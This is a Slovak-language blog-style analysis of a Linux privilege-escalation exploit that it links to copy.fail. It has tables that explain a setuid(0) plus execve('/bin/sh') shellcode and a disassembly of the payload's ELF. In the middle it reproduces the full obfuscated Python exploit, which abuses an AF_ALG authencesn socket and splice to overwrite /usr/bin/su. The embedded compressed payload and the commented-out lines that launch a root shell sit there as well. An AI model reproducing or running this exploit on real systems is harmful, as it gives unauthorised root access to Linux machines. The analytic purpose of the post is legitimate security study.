| Krok |
Pseudokód |
Syscall (číslo) |
Registre (hlavné) |
Čo sa deje |
| 1 |
setuid(0); |
105 (0x69) |
rax=105, rdi=0 |
Pokus nastaviť UID na root (0) |
| 2 |
execve("/bin/sh", NULL, NULL); |
59 (0x3b) |
rax=59, rdi=ptr, rsi=0, rdx=0 |
Spustí shell /bin/sh |
| 3 |
exit(0); |
60 (0x3c) |
rax=60, rdi=0 |
Ukončí proces (len ak exec zlyhá) |
| Dôvod |
Vysvetlenie |
| Jednoduchosť |
Dáta sú priamo v binárke (žiadne externé odkazy) |
| Krátkosť |
Menej inštrukcií → menší shellcode |
| Presnosť |
RIP-relative addressing vie presne ukázať na string |
| Prax |
Bežný vzor v shellcode (kód + dáta spolu) |
| Sekcia |
Obsah |
| Kód |
setuid + execve + exit |
| Dáta |
"/bin/sh\0" |
🔁 Zhrnutie 3 krokov (ľudsky)
| Krok |
Jednoducho povedané |
| 1 |
Skús získať root práva |
| 2 |
Spusť shell (/bin/sh) |
| 3 |
Ak to zlyhá, ukonči program |
⭐ Prečo je /bin/sh kľúčový
| Dôvod |
Vysvetlenie |
| Kontrola |
Shell dáva plný prístup k systému |
| Štandard |
/bin/sh je takmer vždy dostupný |
| Jednoduchosť |
Stačí jeden syscall (execve) |
| Exploit cieľ |
Po získaní prístupu je shell najpraktickejší výsledok |
Prečo je shell code kratší v paylode a stále to funguje:
| Vlastnosť |
Bez posunu (ideálne) |
S posunom (tvoj prípad) |
| LEA inštrukcia |
lea rdi, [rip+0xe] |
lea rdi, [rip+0xf] |
| RIP po inštrukcii |
0x400088 |
0x400088 |
| Offset |
0x0e |
0x0f |
| Vypočítaná adresa |
0x400096 |
0x400097 |
| Skutočný začiatok stringu |
0x400096 |
0x400096 |
| Na čo ukazuje rdi |
"/bin/sh" |
"bin/sh" |
| Chýbajúci znak |
nič |
"/" (je o 1 bajt skôr) |
| Funkčnosť |
✔ presná |
✔ funguje |
| Dôvod použitia |
presnosť |
kratší / jednoduchší shellcode |
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
#f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
#while i<len(e):c(f,i,e[i:i+4]);i+=4
#g.system("su")
data = b'x\xda\xabw\xf5qcbdd\x80\x01&\x06;\x06\x10\xaf\x82\xc1\x01\xccw`\xc0\x04\x0e\x0c\x16\x0c0\x1d \x9a\x15M\x16\x99\x9e\x07\xe5\xc1h\x06\x01\x08ex\xc0\xf0\xff\x86L~V\x8f^[~\x10\xf7[\x96u\xc4L~V\xc3\xffY6\x11\xfc\xac\xfaI\x99y\xfa\xc5\x19\x0c\x0c\x0c\x002\xc3\x10\xd3'
raw = zlib.decompress(data)
print(raw)
print(raw.decode('latin1'))
# alebo
print(raw.decode('cp1250'))
# alebo
print(raw.decode('utf-8', errors='ignore'))
with open("output.bin", "wb") as f:
f.write(raw)
Takto to robí ESET:
output.bin: file format elf64-x86-64
Disassembly of section PT_LOAD#0:
0000000000400000 <PT_LOAD#0>:
400000: 7f 45 jg 0x400047 <PT_LOAD#0+0x47>
400002: 4c 46 02 01 addb (%rcx), %r8b
400006: 01 00 addl %eax, (%rax)
...
400010: 02 00 addb (%rax), %al
400012: 3e 00 01 addb %al, %ds:(%rcx)
400015: 00 00 addb %al, (%rax)
400017: 00 78 00 addb %bh, (%rax)
40001a: 40 00 00 addb %al, (%rax)
40001d: 00 00 addb %al, (%rax)
40001f: 00 40 00 addb %al, (%rax)
...
400032: 00 00 addb %al, (%rax)
400034: 40 00 38 addb %dil, (%rax)
400037: 00 01 addb %al, (%rcx)
400039: 00 00 addb %al, (%rax)
40003b: 00 00 addb %al, (%rax)
40003d: 00 00 addb %al, (%rax)
40003f: 00 01 addb %al, (%rcx)
400041: 00 00 addb %al, (%rax)
400043: 00 05 00 00 00 00 addb %al, (%rip) # 0x400049 <PT_LOAD#0+0x49>
...
400051: 00 40 00 addb %al, (%rax)
400054: 00 00 addb %al, (%rax)
400056: 00 00 addb %al, (%rax)
400058: 00 00 addb %al, (%rax)
40005a: 40 00 00 addb %al, (%rax)
40005d: 00 00 addb %al, (%rax)
40005f: 00 9e 00 00 00 00 addb %bl, (%rsi)
400065: 00 00 addb %al, (%rax)
400067: 00 9e 00 00 00 00 addb %bl, (%rsi)
40006d: 00 00 addb %al, (%rax)
40006f: 00 00 addb %al, (%rax)
400071: 10 00 adcb %al, (%rax)
400073: 00 00 addb %al, (%rax)
400075: 00 00 addb %al, (%rax)
400077: 00 31 addb %dh, (%rcx)
400079: c0 31 <unknown>
40007b: ff b0 69 0f 05 48 pushq 0x48050f69(%rax)
400081: 8d 3d 0f 00 00 00 leal 0xf(%rip), %edi # 0x400096 <PT_LOAD#0+0x96>
400087: 31 f6 xorl %esi, %esi
400089: 6a 3b pushq $0x3b
40008b: 58 popq %rax
40008c: 99 cltd
40008d: 0f 05 syscall
40008f: 31 ff xorl %edi, %edi
400091: 6a 3c pushq $0x3c
400093: 58 popq %rax
400094: 0f 05 syscall
400096: 2f <unknown>
400097: 62 69 6e 2f 73 <unknown>
40009c: 68 <unknown>
40009d: 00 <unknown>
Comments “Príbeh: Dnes malá analýza https://copy.fail/ Utekajme, veď on má doma zakázaný Mythos LLM :) Nie, kecám s kamošom GPT ;)”